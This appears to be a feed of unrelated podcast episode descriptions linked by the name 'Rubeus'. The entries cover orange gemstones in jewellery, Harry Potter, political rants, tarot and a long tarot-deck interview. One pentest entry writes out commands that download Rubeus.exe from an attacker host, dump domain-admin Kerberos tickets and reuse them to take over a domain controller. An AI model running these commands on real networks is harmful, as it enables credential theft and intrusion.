devient noir en séchant. C'est en 1797 que Louis-Nicolas Vauquelin, pharmacien et chimiste français, découvre le chrome. Ce qui révolutionne la peinture en créant des pigments orangés. Les impressionnistes en feront un usage enthousiaste. Puis on découvre le cadmium et en 1820 le chimiste Friedrich Stromeyer obtient un sulfure de cadmium qui donne un orange bien vif comme on l'aime. Problème : on suspecte quand même la toxicité de ce mélange qui en plus reste cher. En bref si l'orange est au catalogue des marchands de couleurs depuis 1850, il faudra quand même attendre le XXe siècle pour qu'elle soit abordable et non toxique. La symbolique de l'orange L'orange symbolise l'énergie d'autant que les aliments qui sont oranges contiennent de la vitamine A et/ou de la vitamine C. Cette symbolique est tellement ancrée que vos cachets de vitamine C sont teintés exprès en orange ou ont le goût d'orange pour vous rassurer sur leur efficacité. Alors cette couleur est liée à l'action et évoque aussi bien la chaleur et l'été, que le feu et l'automne. En Asie, la couleur orange vient du curcuma et surtout du safran utilisé en cuisine, en pharmacopée comme en teinture. Lié au bouddhisme, l'orange est la couleur spirituelle du 2e chakra, appelé Svadhisthana en sanskrit, il est le chakra Sacré. On le trouve sur le ventre, 5 cm en dessous du nombril. C'est le centre énergétique en lien avec les fluides qui lie la vie. Il est la porte d'entrée pour l'épanouissement de l'être humain grâce à ces goûts. Il influence les émotions, la relation avec les autres, la joie de vivre, l'estime de soi et la relation à l'argent.  Dans la Rome antique, l'orange symbolise l'indissolubilité du mariage et d'ailleurs, le voile de noces était orange. En Europe in n'y a pas vraiment de symbolique spirituelle lié à l'orange. A l'exception de la couleur de cheveux associé, le roux, qui est entachée religieusement de suspicion. Judas était roux et on en a profité pour bruler beaucoup de femmes dénoncées comme sorcières et qui n'avaient d'autres caractéristiques que d'être rousses. Il en ressort que la couleur orange dans une symbolique est parfois entachée de dissimulation et d'hypocrisie. Mais généralement, cette couleur véhicule des valeurs de communication et de créativité, transmet la joie, le plaisir et l'optimisme. En plus d'être synonyme de vitalité, de force et d'endurance. Par ailleurs, l'orange est la couleur qui se distingue le mieux dans l'environnement alors elle est utilisée pour signaler les dangers dans de nombreux domaines. Par exemple en France la Vigilance Orange est le niveau d'alerte de la sécurité publique. En joaillerie, il y a de nombreuses gemmes orange. Le diamant orange existe et oui ! Mais il est rare, très rare. Le Diamant The Orange a été trouvé en Afrique du Sud, pèse 14,82 carats c'est-à-dire qu'il est gros comme une amande. Sa couleur est qualifiée de "vivid" donc c'est le top en matière de couleur. Il a été vendu en 2013 par Christie's New York, 35,54 millions de dollars ce qui était un record mondial.  Un autre célèbre diamant orange, le Graff Orange de 4,77 carats est d'une couleur orange-jaune et sa vente en 1990 a atteint 3,92 millions de dollars.  Le Lady Orquidea Diamond est de 2 carats, sa couleur est fancy vivid et il est taillé en cœur. Le dernier diamant orange très connu est le Pumpkin Diamond orange "vivid" de 5,54 carats en taille coussin. L'actrice Halle Berry a eu la chance de le porter quand elle a gagné son Oscar de meilleure actrice en 2002 pour son rôle dans le film Monster's Ball. Ce très bizarre nom de « citrouille » lui a été donné par Ronald Winston de la Maison Harry Winston qui l'avait acheté un jour avant Halloween en 1997. Il a été revendu en 2013. Vous l'aurez compris le diamant orange est rare et son caratage est bien plus petit que les autres diamants d'exception blanc ou bleu. Aussi les joailliers mêlent-ils souvent différentes gemmes pour un effet feu franchement Whaou. Par exemple la parure « Roi Soleil » créé par Dior et revendu chez Sotheby's en 2010 pour 104 500 dollars est un collier articulé de 359.73 carats de saphirs jaunes ovales avec 8.66 carats de grenats spessartites et 10 carats de diamants. Les boucles d'oreilles assorties sont également en forme de flammes. Dans les pierres précieuses, le saphir qui peut être de nombreuses couleurs peut aussi être orange. Le collier Graff orange sapphirre est formé de saphirs orange en goutte qui ruissellent en contraste dans un losange de diamants blanc. Le saphir peut aussi être padparadscha, une variété orange-rosé originaire du Sri Lanka. C'est une délicate couleur pêche et je vous en parlerais dans un autre podcast car sa douceur ne colle pas avec notre tonique sujet du jour.  Les pierres fines orange Il y a beaucoup de pierres fines orange. La Tourmaline et le Sphène qui existent dans de nombreuses couleurs ont aussi une variété d'orange très intéressant. Chez la Spinelle il y a une variété orange qui est l'une des plus recherchée. Le Zircon (à ne pas confondre avec le zircunium qui n'est pas précieux), le zircon donc, un des minéraux les plus anciens connus sur terre peut aussi être orange. Il y a aussi la Clinohumite, découverte en 1876 par Sir Abraham Hume, minéralogiste britannique qui est un silicate de magnésium qui peut être jaune, rouge ou orange et qui est actuellement rare. Dans les gemmes les plus utilisées en orange vous connaissez bien sûr la citrine qui va du jaune au orange doré. Je me souviens de la bague Whisky on the Rock de la collection Lime Light de Piaget où la citrine d'une profonde couleur ambrée se décore de 2 glaçons de diamants. Dans l'exposition Lacloche à l'Ecole des Arts Joailliers j'avais vu un imposant bracelet Art déco dont le décor de cabochons de citrine orangée était interchangeable. Et bien sûr il y a les grenats aux multiples couleurs et dont les oranges sont au moins 3.  Le grenat Hessonite, qu'on appelle aussi pierre de cannelle, peut être orange, jaune miel ou brun rouge.  Dans la parure His Majesty The Lion dessinée par Frédéric Mané pour Rubeus le grenat hessonite central de 26 carats est taillé en visage de lion par le célèbre lapidaire Victor Tuzlukov. Autour de cette face léonine rayonnent les citrines, les topazes et les rubis. Une autre espèce de grenat d'un orange vibrant est le Grenat Mandarin. Dans le bracelet Talisman de la collection Trésor d'Afrique de Chaumet en 2018, 3 grenats mandarins de 24 carats en pain de sucre répondent au bleu profond du lapis lazuli et s'éclairent de saphirs jaunes.  Chez Bulgari c'est Le collier Night at the Casino de la collection Cinémagia qui fait resplendir un grenat mandarin de 16,85 carats au cœur d'une roulette de casino redesignée de turquoises, diamants et améthystes. Plus récemment, c'est la Maison Mathon Paris qui pare sa bague tortue d'une carapace d'un seul grenat mandarin dont la couleur intense resplendi sur la monture en or blanc. Le grenat peut aussi être Spessartite, d'un orange avec un peu de jaune jusqu'au brun rouge comme celui choisi par Lorenz Baumer pour être le cœur de sa bague Black Magic Nébuleuse en or blanc rhodié noir , laque noire et pavée de saphirs bleus, roses et violets. Chez Piaget c'est dans la collection Irresistible Attraction que le spessartite exprime toute sa couleur tonique dans les entrelacs de diamants blanc. Chez Dior, la spessartite est choisi tangerine dans la collection J'aime Gem et mandarine dans la collection Dentelle Popeline. Et chez la jeune Maison Veyret, la première collection Melting pot comporte une spessartite éclatante qui orne le solitaire Fil. Autre gemme, la Topaze impériale va du jaune orange jusqu'au brun doré. Chez Chanel une topaze impériale ovale de 20,40 carats sert également de fermoir sur le devant du collier de la collection Tweed D'Or en or jaune et platine, tissé de perles de culture et de diamants. Pour Chaumet c'est dans la collection Les Ciels que la topaze impériale rutile d'un orange devenu Lueur d'orage.  Et Chez Hoelh'l, la créatrice Sophie Hoehlinger a choisi de garder le cristal brut pour une topaze unique et véritablement impériale. Les gemmes orange à effets Dans les gemmes orange il y a celles à effets. L'Andésine par exemple varie du rose-orange, ambre, orange miel, c'est une labradorite orange qui est arrivée sur le marché en 2003 et présente des reflets ondoyants et quelque fois un éclat métallique. On l'appelle aussi pierre de soleil du Congo, à ne pas confondre avec celle que tout le monde appelle la Pierre du soleil et qui se nomme aussi feldspath aventurine. Avouez qu'il y a de quoi tout mélanger. Cette pierre de soleil peut avoir quelque fois un effet optique d'astérisme c'est-à-dire une étoile intérieure et là elles deviennent super rares. Et bien sûr il y a l'opale de feu. Une gemme particulièrement hypnotique. D'un orange à la fois vibrant et doux avec une saturation tout à fait exceptionnelle dans le monde des gemmes de couleur.  Mathon Paris a créé une bague marguerite où les opales cristal d'un blanc laiteux entourent un cœur d'opale de feu d'un doux orange irisé.  A contrario chez Lydia Courteille, l'orange de l'opale de feu à peine polissé s'entrechoque au vert franc des petits lézards aux yeux violets qui lui grimpent dessus. Et chez Thierry Vendôme, l'opale de feu rougeoie d'un éclat charnel entre des lèvres d'or au scintillement de diamants dans un calice de rouille. La pierre de lune aussi peut être orange. Etoilée ou non, elle est souvent d'une couleur délicate comme l'éclat de la lune rousse. Chez Diamant Point, la pierre de lune d'un orange laiteux est entourée de diamant sur or jaune pour les boucles d'oreilles appelée Rapsody. Alors que chez Subtil Diamant c'est sur des diamants blancs en sertis grains que s'éclaire en lever de soleil la pierre de lune orange de 4,42 carats sur une bague appelée One More. Les gemmes orange opaques Autre style de gemme orange, celles qui sont opaques. Vous connaissez bien sûr l'agate qui a bien des couleurs plus ou moins translucides, avec quelque fois des bandes naturelles et un orange qui peut allez juste qu'au rouge. Chez Diamini, les 4 pétales d'agate ont presque une couleur de groseille sur lesquelles s'accroche une grenouille noire. Il y a aussi la cornaline qui varie également d'orange mandarine à l'orange presque brun. Chez Van Cleef & Arpels la collection Bouton d'or choisi un orange foncé intense rehaussé de nacre et de diamants.  L'orange des gemmes organiques Enfin il y a l'orange des gemmes organiques comme l'ambre dont je vous ai beaucoup parlé dans l'épisode sur La célèbre Chambre d'ambre. Et puis il y a le corail dont l'orange se mêle de rouge ou de rose pour des teintes allant de l'écume de sang au saumoné.  Chez Cartier la collection Coloratura montrait un bracelet aux perles de corail d'un orange soutenu, dopé par l'émail noir et les diamants.  Alors que chez la créatrice Yvonne Léon, le corail est saumoné et gravé dans une bague berlingot intemporelle avec un diamant rond en serti clos. Et chez Muriel Beigbeder son pendentif en corail fossile montre tous les camaïeux de l'orange du plus doux au plus vif en passant par le orange-rosé et qui varient suivant la lumière. Ainsi se termine cette histoire de l'orange joaillier.  Je tiens à faire une dédicace spéciale à Jennifer, Cyrille et Fabien pour vos jolis messages sur linkedIn ainsi que les 2 joaillières pour nos échanges sur Instagram. Je suis Anne Desmarest de Jotemps et je donne une voix aux bijoux. Chaque dimanche j'émets en alternance sur un podcast différent. Et justement la semaine prochaine sur le podcast Brillante ce sera Stéphanie des Horts, l'auteur de La Panthère qui ressuscitera pour nous Jeanne Toussaint la directrice mythique de Cartier. Le dimanche suivant ce sera sur le podcast thématique « Il était une fois le bijou » que Tony Haddad, diamantaire, nous parlera de toutes les couleurs du diamant dans cette saison 3 appelée Diamant forever. Pour ne manquez aucun de nos rendez-vous du dimanche autour du bijou, abonnez à chacun de ces 3 podcasts « Il était une fois le bijou », « le bijou comme un bisou » et « Brillante » sur votre plate-forme d'écoute préférée ou sur YouTube et encouragez- moi en partageant l'épisode sur vos réseaux sociaux. Si vous êtes sur Apple podcast mettez de jolis commentaires, c'est ce qui permet de référencer les podcasts !  A bientôt pour un prochain bijou comme un bisou. Photo bague Tortue – Mathon Paris  Site Twitter Facebook Instagram LinkedIn Musique : Allan Deschamp, 0 le Sign

Harry Potter and the Order of the Phoenix – Chapter 20 – Hagrid's Tale Get this audiobook free and a 30-day trial: http://www.audibletrial.com/ThePodcastThatAlready have an Audible account? Pick up the audiobook or movie here: http://www.thepodcastthat.com/tptmnbn/purchase/ The Podcast That Must Not Be Named is a chapter by chapter, spoiler-free (mostly) reread podcast of J.K. Rowling's Harry … Continue reading "Harry Potter – 5-20 Rubeus' Recitation" The post Harry Potter – 5-20 Rubeus' Recitation appeared first on The Podcast That.

 Dans cette 2e saison, le podcast Il était une fois le bijou explore le concept d'exception. Bien sûr un bijou est toujours exceptionnel, parce qu'il comporte une gemme que la terre ne reproduira plus, parce qu'il a été créé avec amour par un artisan, parce qu'il a été offert et reçu pour chaque moment d'exception.  Mais il y a des bijoux qui sont encore plus exceptionnels :  des gemmes incroyables, un design joaillier d'extraordinaire, une réalisation joaillière qui défie l'imagination et une vente d'exception ! Il était une fois le bijou a été à la rencontre des acteurs de cette exception joaillière. Dans le 1e épisode de cette saison 2, Laurent Massi, gemmologue et fondateur de l'école de gemmologie l'AGAT nous a expliqué les gemmes d'exception. Pour le 2 épisode je me suis demandé comment on concevait et dessinait un bijou d'exception et nous avons écouté le designer joaillier Frédéric Mané. Dans ce 3e épisode, j'ai interviewé Jothi-Seroj Ebroussard, l'artiste joaillier sculpteur qui a réalisé la parure Rubeus avec la plus grande alexandrite du monde, imaginé par Frédéric Mané et exposée au Musée des Arts décoratif au Louvre en 2019. Jothi-Seroj Ebroussard s'est lancé de façon indépendante à 21 ans. A 27, il remportait sa première commande royale, à 28 il exposait à la biennale du Grand Palais et à 29 il répondait à une commande princière. Alors je lui ai posé cette question toute simple et dont la réponse est pourtant complexe : comment crée-t-on un bijou d'exception ? Je suis Anne Desmarest de Jotemps, amoureuse des mots et passionnée du bijou. Êtes-vous prêt à écouter cette belle histoire de bijoux ? Commençons : il était une fois… Le Bijou. Si cette histoire vous a plu, encouragez le podcast en vous abonnant à votre plate-forme d'écoute préférée ou sur youTube et en mettant des commentaires, ça fait vraiment une différence ! Si vous êtes sur Apple podcast mettez plein d'étoiles et partagez, sans modération. ! Vos encouragements brilleront pour moi comme des joyaux ! A dimanche pour une prochaine histoire de bijou et en attendant, soyez heureux et ayez beaucoup de bijoux ! Site Twitter Facebook Instagram LinkedIn Musique : Allan Deschamp, 0 le Sign ingénieure son : Alice Krief, les belles fréquences

Rubeus talks about the delusional young Americans who are on the front lines “fighting” for their own destruction. Time Staps The Rebel Without a Cause - 2:05 The War on Men - 8:28 The War on Women - 13:23 The War on Skin Color - 17:00 The War on Free Thinking - 19:57 The War on America - 27:37 Some Solutions - 31:13 Rubeus Rambles doesn't own the rights to any Pink Floyd music played throughout this episode. Pink Floyd The Wall (Movie): https://www.imdb.com/title/tt0084503/ Another Brick in the Wall pt.2: https://www.youtube.com/watch?v=34ZmKbe5oG4 Rubeus Rambles on Parler: https://parler.com/profile/rubeusrambles/posts --- Send in a voice message: https://anchor.fm/rubeusrambles/message Support this podcast: https://anchor.fm/rubeusrambles/support

Hey friends, I dare declare this to be my favorite tale of internal pentest pwnage so far. Why? Because the episode features: Great blue team tools alerting our customer to a lot of the stuff we were doing An EDR that we tried to beat up (but it beat us up instead) SharpGPOAbuse which we talked about extensively last week Separation of "everyday" accounts from privileged accounts Multi-factor authentication bypass! Some delicious findings in GPOs thanks to Ryan Hausec's great two part series (1 and 2). If you're not sure if you're vulnerable to MS14-025, check out this great article which discusses the vulnerability and its mitigation. The final cherry on top was a new attack another pentester taught me. Use a combination of SharpCradle and Rubeus to steal logged in DA creds: SharpCradle.exe -w https://your.kali.box.ip/Rubeus.exe dump /service:krbtgt /nowrap This will give you a TGT (base64 encoded) for active logon sessions to the box. So if a DA is logged in, you can snag their TGT and then convert that into a .kirbi file on your Kali box with: echo "LooooonnnnnggggggTicketStriiiiiiiiiiinnnngggg" | base64 -d > BobTheDomainAdmin.kirb Convert the .kirbi file to a .ccache file with ticket converter. Then you can use Impacket tools to use/abuse that access to your heart's delight. We ended up using Impacket to pop a shell on a DC and add a low-priv account to DA. The interesting thing is that the alert the blue team received essentially said "The DC itself added the user to the DA group" - the alert did not have attribution to the user whose ticket we stole! Good tip for future pentests!

See title --- This episode is sponsored by · Anchor: The easiest way to make a podcast. https://anchor.fm/app Support this podcast: https://anchor.fm/tadpole-slamp/support

Jennifer and Mallory discuss names from the Harry Potter series of novels (and movies) authored by JK Rowling*. We also report on this week's celebrity baby news and take questions from our listeners! Names mentioned in this episode: Yarrow, Caprice, Bruton, Barley, Seraphina, Harry, Ronald, Hermione, Bilius, Draco, Hagrid, Albus, Bellatrix, Cedric, Cornelius, Fleur, Ginevra, Lucius, Luna, Marvolo, Minerva, Myrtle, Narcissa, Neville, Petunia, Phineas, Rubeus, Potter, Severus, Sirius...and more! *BabyNames.com does not support nor condone Rowling's recent statements on gender identity, and we fully support the LGBTQIA community. If you are a Harry Potter superfan and have noticed any errors or omissions - please write us! We'll include your notes in the next show: email podcast@babynames.com or call our message line: (702) 848-5510. Join our Facebook Group to chat about our episodes with Jennifer & Mallory and other listeners! The Baby Names Podcast is a production of BabyNames.com.   Learn more about your ad choices. Visit megaphone.fm/adchoices

So the gang took a break from the regular campaign to run a one shot. This is a peek inside the mind of Honzo Gonzo. You have been warned. Prelude 0:00:00 Game Start - 0:02:46 Magic Pixel is a Dungeons & Dragons Show DM'd by Rynge featuring Sajam, Vicious, Honzo Gonzo, Elderdeath, & Tanman. Currently playing 5e in a homebrew campaign. It can be seen live on https://www.twitch.tv/sajam on Tuesdays at 7 PM PT. Honzo Gonzo as the DM: https://www.twitch.tv/honzo_gonzo Rynge as Rubeus: https://www.twitter.com/rynge_ https://www.twitch.tv/rynge Sajam as Jimbo: https://www.twitter.com/sajam https://www.twitch.tv/sajam Vicious as Guhnter: https://www.twitter.com/viciousfgc https://www.twitch.tv/viciousfgc Tanman as Rockerfella: https://www.twitter.com/tanmanfgc https://www.twitch.tv/tan_man Elderdeath as Cczzaar Character art by https://www.twitter.com/sweatyandupsety Overlay art by https://www.twitter.com/drewface_

Rubeus meets Jack O' Lantern and talks about being a modern-day artist, symbolism, and the state of America as a whole. This is part two. Jack's Website: https://www.jack-olantern.com/ Jack's Parler: https://parler.com/profile/ThePumpkinPress/posts Rubeus Rambles Parler: https://parler.com/profile/rubeusrambles/posts --- This episode is sponsored by · Anchor: The easiest way to make a podcast. https://anchor.fm/app --- Send in a voice message: https://anchor.fm/rubeusrambles/message Support this podcast: https://anchor.fm/rubeusrambles/support

Rubeus meets Jack O' Lantern and talks about religion, corruption, and the state of America as a whole. This is a two-part episode. Jack's Website: https://www.jack-olantern.com/ Jack's Parler: https://parler.com/profile/ThePumpkinPress/posts Rubeus Rambles Parler: https://parler.com/profile/rubeusrambles/posts --- This episode is sponsored by · Anchor: The easiest way to make a podcast. https://anchor.fm/app --- Send in a voice message: https://anchor.fm/rubeusrambles/message Support this podcast: https://anchor.fm/rubeusrambles/support

George Orwell’s short story “Animal Farm” was written in the 1940s but warns of the dangerous ideology growing throughout the world right now. Throughout this hour-long episode, Rubeus goes over some correlations between the book and current events. Remember it’s called RAMBLES for a reason. Slightly Offensive (Elijah Schaffer): http://slightlyoffensive.com/ The Rubin Report (Dave Rubin): https://www.youtube.com/c/RubinReport/featured Check out Dave Rubin's new book "Don't Burn This Book": https://www.amazon.com/Dont-Burn-This-Book-Thinking/dp/0593084292 Download the Parler app and get off Twitter! App Store: https://apps.apple.com/us/app/parler/id1402727988 Google Play: https://play.google.com/store/apps/details?id=com.parler.parler&hl=en_US --- This episode is sponsored by · Anchor: The easiest way to make a podcast. https://anchor.fm/app --- Send in a voice message: https://anchor.fm/rubeusrambles/message Support this podcast: https://anchor.fm/rubeusrambles/support

While the NFL and sports organizations around the world pander to the communist uprising, Rubeus talks about Colin Kaepernick, an American race-baiter. Then circles around on Beta males Drew Brees and Bret Farve. Rubeus Rambles Parler: https://parler.com/profile/rubeusrambles/media --- Send in a voice message: https://anchor.fm/rubeusrambles/message Support this podcast: https://anchor.fm/rubeusrambles/support

“The Tales of Beedle the Bard” is a collection of stories for wizard children in the Harry Potter Universe. In this episode, Rubeus goes over “The Wizard and the Hopping Pot” and Albus Dumbledore’s notes on the story and its censored remakes throughout history. The Tales of the Beedle the Bard: https://www.amazon.com/J-K-Rowling-Wizarding-Classic-Hardcover/dp/B01FMVYKZW/ref=sr_1_4?crid=318D533ZGTAUV&dchild=1&keywords=the+tales+of+the+beedle+bard&qid=1602606408&sprefix=the+tales+of+the+%2Caps%2C160&sr=8-4 Rubeus Rambles Parler: https://parler.com/profile/rubeusrambles/media --- This episode is sponsored by · Anchor: The easiest way to make a podcast. https://anchor.fm/app --- Send in a voice message: https://anchor.fm/rubeusrambles/message Support this podcast: https://anchor.fm/rubeusrambles/support

Nick Kozi slides through the pod sesh to ensure this episode sounded clean bruh; thank you and you're welcome. Kozy and I are back on our BS. Ya know, just not knowing how to stay on task and properly record. But, we still make an excellent duo in this pod when we break down our weekend recap which includes punching holes in walls, Kozy getting obliterated, and hungover trips to Canada. We also discuss the Super Bowl, how right our prediction was, and the halftime show. Following the intro, we answer some fan questions from a man named Rubeus. These questions include but are not limited to, What Harry Potter Character would be a sex slave? What are the three most slept on shows? Is Trump a power bottom? Following the fan mail. we dive deeper into the soy sauce conspiracy that is effecting our hometown, enjoy! #LukeSquared

Alas, it was too good to last! After the brief shining success of the 6, we arrive at the Lord of Failure in the 7 of Pentacles or Disks. The 5 posed problems of scarcity and Mercurial anxiety, while the 7 suggests Saturnine obstacles which must be overcome if our efforts are ever to bear fruit.  Failure it shall be for certain, if we give up now when the going gets tough.  But at the moment, perhaps it is only 'success unfulfilled' as yet.  If nothing else, the bull of Taurus is steadfast. He may yet have hidden reserves of strength in his final decan. In our conversation we discuss: the malefic expressions of Saturn throughout the minor arcana, the geomantic figure Rubeus, red complexions and blotches, the dark sterile mother, Aphrodite as Melania,  apotropaic magic and insurance, Caput Algol, the Pleiades and Hyades, two sets of seven sisters weeping, the archangel Hanael and the archdemon Ba'al, demon of invisibility, the library angel Harahel, Netzach as endurance, prayers for stamina, unselfishness vs unchastity, the seven palaces of Assiah, the fall from Eden, potato blight, the leaden coins of Saturn, the man with the hoe, little gain for much labor, and "Magic, not Tragic"! To learn more about the suit of Pentacles or Disks, the world of Assiah, the quests and desire goddesses of Netzach, the color schemes of the cards, and so much else, be sure to visit us at www.patreon.com/fortuneswheelhouse. You can also shop for Fortune's Wheelhouse T-shirts, mugs, backpacks, stickers, and more! at our RedBubble shop.

In this episode T. Susan Chang plays host to interview me about my new deck from Llewellyn – The Orisha Tarot. We talk about my 18 year journey with the Lukumi tradition that brought me to this point. This episode is a deep dive into the how and why of this deck an dthe role the spirits have played in its creation too.  You can see the deck and get it from my website here, Amazon, or at your local bookshop.  Think about how much you've enjoyed the podcast and how many episodes you listened to, and consider if it is time to support the Patreon You can do so here. And you should go see all the good stuff Susan is up to here.  If you want more of this in your life you can subscribe by RSS , iTunes, Stitcher, or email. Thanks for joining the conversation. Please share the podcast to help us grow and change the world.  Andrew You can book time with me through my site here.  Transcription SUSIE: Hello, everybody! You're hearing a different voice as the host of this week's Hermit's Lamp podcast. I'm Susie Chang, friend of Andrew, and Andrew has kindly invited me to come on the show in order to interview him about his new deck, the Orisha Tarot, since he obviously could not interview himself! [laughs] Normally, at the beginning of an interview, what I would do is introduce the guest, but since the guest is the host, I guess I'll just do a very cursory introduction of what I know about my friend, Andrew. As you know, he is the proprietor of The Hermit's Lamp, the store, which is a touchstone for all of us in the tarot community, and he is the voice behind The Hermit's Lamp podcast. He is an artist in his own right and a creator of beautiful works, decks, and he is also a priest in the Lucumí tradition, and we'll be talking about that some more. But the reason that we're here today is to talk about the Orisha Tarot, which is coming out from Llewellyn in September … What day is it?  ANDREW: Basically, today, according to Amazon.  SUSIE: For real! Fantastic! Yeah, this is very exciting. So, I understand decks are already shipping out, and I was also particularly interesting -- interested -- in doing this podcast because we're both Llewellyn authors. I've got a book coming out from Llewellyn on tarot correspondences just next month. So, shout out to Llewellyn for supporting the work of tarot lovers everywhere.  ANDREW: Absolutely. SUSIE: Yeah! So the Orisha Tarot is officially out. Congratulations! ANDREW: Thank you! SUSIE: It's been many years in the making, hasn't it?  ANDREW: Yeah, I mean it's … It's always one of those things. Where do you count that from? You know?  SUSIE: [laughs] ANDREW: I signed my contract for it about two years ago, maybe a little bit less than that. So that's probably as good a time as any. But even at that point I had already made a dozen cards and had spent five or six years prior to that thinking about it and trying to figure out what I wanted to do and how I wanted to do it. So. You know?  SUSIE: Right. And actually, I'd like to back up even further, to the beginning of your story in this tradition. And to find out a little bit. Because it's been about ten years, I think you said? Something like that?  ANDREW: Ten years as a priest.  SUSIE: Mm-hmm.  ANDREW: As of August. It was 2000 when I started getting involved in this tradition. So it's been about 18 years that I've been involved.  SUSIE: Wow. So that's … Really, it's been a long journey for you. And I was listening to your wonderful interview with our friends at the Tarot Visions podcast, and I think you mentioned that you came into it through kind of a circle of friends who were exploring different esoteric traditions, and I kind of wanted to know a little bit more about what drew you. You mentioned that you were, you know, a friend had brought in his own explorations of Lucumí, and I wanted to, first of all, sort of talk a tiny bit about the context of Lucumí, since not everyone will be familiar with it, and also, a little bit more about your attraction to it. Now, as I understand it, Lucumí is a Cuban offshoot of the greater Yoruba African traditional religion, yeah?  ANDREW: So, the story you get will depend a lot on who you talk to. Like many things. Right?  SUSIE: Mm-hmm. ANDREW: You know, so, at the time of the Atlantic slave trade, Yoruban wasn't really cohesive at all. That whole area was a bunch of city states and so on, right?  SUSIE: Mm-hmm. ANDREW: So, this idea that there was sort of one cohesive African traditional religion, or ATR, which these things spread from, isn't really historically accurate. You know?  SUSIE: Mm-hmm. ANDREW: If you came from, you know, the city of Ife, then, you know, your tradition slants in one direction, certain deities are, you know, held above others; if you come from Oyo, then, you know, that's going to have a different set of traditions and sort of a different kind of more primary veneration and tilting towards certain deities over others. If you're down sort of in the coastal parts of kind of western Africa, towards the south end of that sort of prominence, the way in which some of the Orisha are going to manifest, especially the water Orisha, are different than if you're sort of further north, or inland, or in other places. You know, and so … SUSIE: Mm-hmm. ANDREW: It's important to understand that these sort of … All of these Orisha traditions and their diasporic manifestations, you know, as they found themselves in different countries, throughout the Caribbean and North and South America, they all varied depending on which groups of people were enslaved and brought over, which traditions survived, what happened in relationship to the indigenous culture that was present, you know, in Cuba indigenous culture was sort of pretty much wiped out, so there wasn't much inclusion of that into the traditions, whereas in other parts, you know, especially in South America, you know, some of those cultures continue to sort of live alongside and there's sort of more sharing of ideas. SUSIE: Yeah, it seems like in many of the diasporic manifestations, you see fates that have been heavily syncretized with whatever was going on locally.  ANDREW: Mm-hmm. Yeah, and I think that, you know, the question of syncretization is always an interesting one, you know?  SUSIE: Yeah.  ANDREW: The story that some people like to say is that they were syncretized in order to conceal them and to prevent … SUSIE: Right. ANDREW: And to protect them and to allow them to practice covertly, you know … SUSIE: Mm-hmm. ANDREW: And I'm sure that that's true in some ways. But also, you know, there's a lot of … In nonwestern approaches to magic and to spirituality, there's often a real sense of "hey, what's that guy good for? What's that spirit …?" SUSIE: Right. ANDREW: "What's that one going to do for me?" Whereas this sort of very practical notion of, you know, you come across somebody and you're like, "well, I read about this guy, what's that saint good for?" SUSIE: Mm-hmm. ANDREW: And there's the syncretization that happens, for sure, but there's also the notion of like, having more spiritual people in your corner is not a bad idea at all. Right?  SUSIE: Exactly, exactly. ANDREW: And so, so I think the history is interesting to try and unravel, but I think that we'll never really fully understand exactly what was going on with everybody involved.  SUSIE: Exactly. And I think that, you know, people of faith kind of make faith work however they can, right? You know, it's sort of like you'll always have schools of thoughts that try to keep, you know, try to distinguish and separate and go towards a purist mentality in terms of practicing faith, and then there are others who'll say, well, we work with what we've got, you know?  ANDREW: Exactly. SUSIE: Yeah. ANDREW: So, and so, to kind of answer your kind of like, about my lineage … My lineage, as far back as we know it, originates with this woman Monserrate, you know, she's the farthest back that we can trace that, and my lineage originates in Cuba and through those sort of Cuban traditions. So. Variations of the diasporic traditions, for sure.  SUSIE: Right, right. So we're talking about … We're specifically talking about a tradition that came to Cuba through the slave trade.  ANDREW: Exactly, yeah. SUSIE: And do … You actually have some reference to that in, I think, your Ten of Swords card.  ANDREW: Absolutely. SUSIE: Which seems really appropriate, yeah. So, I wanted to know a little bit more about your personal journey, in terms of whether you yourself grew up in any kind of faith community, or whether you were … you know, did you have to rebel against one? did you long to belong to a faith community? What was that like for you and what was discovering this community like for you?  ANDREW: So, I think that one of the best things that my parents did was not raise me with any traditions at all.  SUSIE: Mm-hmm. ANDREW: My parents weren't particularly religious, you know ... SUSIE: So what did you rebel against? [laughs] ANDREW: I didn't rebel against any- I mean I rebelled against everything. But we'll get to that. But what that meant was, you know, when I said to my mom, I want to go to the psychic fair and find some books on magic, when I was 12, my mom was like, okay. You know, when I like, picked out Alistair Crowley, she was like, sure, go ahead.  SUSIE: Yeah. ANDREW: So, that meant that I like had a lot of space to really get involved and think about other things, you know?  SUSIE: Yeah. ANDREW: You know, other than sort of when my parents split up and we started going to Anglican church, mostly I think because my mom wanted some community … SUSIE: Mm-hmm. ANDREW: I didn't really have a lot of connection or experience with any kind of organized religion. But what happened was, when I was 14, I almost died in a car accident.  SUSIE: Right.  ANDREW: And after that I wanted to understand everything. And so, I didn't rebel against anything as such, but what I really wanted to know was, like, what does this all mean? Right? Like all of it. You know. At that point I'd already been reading tarot for a year … SUSIE: Mm-hmm. ANDREW: I'd already been studying Crowley for a couple of years. It was already really invested in sort of a magical world view. And at that point then I just started reading everything I could get my hands on, right? So I'm like in grade 9 and 10, and reading Nietzsche and … SUSIE: Sure. ANDREW: Picking out, you know, people who can talk about these things. The youth group at the church was run by an ex-Jesuit, and so I would like corner him and be like "hey, tell me about this, tell me about that, tell me about this," and for the most part, people would indulge me and have conversations with me about it, you know?  SUSIE: Mm-hmm. Was there another organized religion that you were drawn to? Before Lucumí?  ANDREW: No. I mean, Crowley's work. You know?  SUSIE: Yes.  ANDREW: For me it was basically all about Crowley's work.  SUSIE: And you were in the OTO? ANDREW: Yeah. When I was in my ... It wasn't until much later though. It wasn't until I was, you know, well into my 20s that I actually even considered … I was like, oh, maybe the OTO exists here in Toronto. Maybe I could find people. Mostly I just practiced independently and pursued and tried to talk to people. SUSIE: Right.  ANDREW: Yeah. And then basically I left the OTO and the Armed Solace, which was another initiatory group, and moved into practicing Lucumí, you know? That was my journey.  SUSIE: Yeah, yeah. And it's been, as you said, like an 18-year journey at this point. And, so that's something I wanted to sort of ask you about, in terms of doing the artwork, telling the stories, introducing the wider world to this tradition. You know, often when we are talking about faiths we didn't grow up in, you know, there's this question of whether it's your story to tell, or whether, you know, at what point do you become a representative? And so that's a question I have for you, at what point did you feel that you were invested enough or, you know, that you had a strong enough sense of belonging to be able to bring this to other people?  ANDREW: Sure. So, there's a whole bunch of pieces to that answer. SUSIE: Mm-hmm. It's a complex one. [laughing] ANDREW: Yeah! We'll start with this. When you … When you become a priest, right? You become initiated into a lineage, right? So, you know, and when we talk about ancestors, the word we use most of the time is Egun. Right? We mean Egun to mean, ancestors by blood, and ancestors by initiation, right?  SUSIE: Right. ANDREW: And so, you know, my Egun are those priests of the Orishas, going back to Montserrate and beyond, you know, and they're lost to history 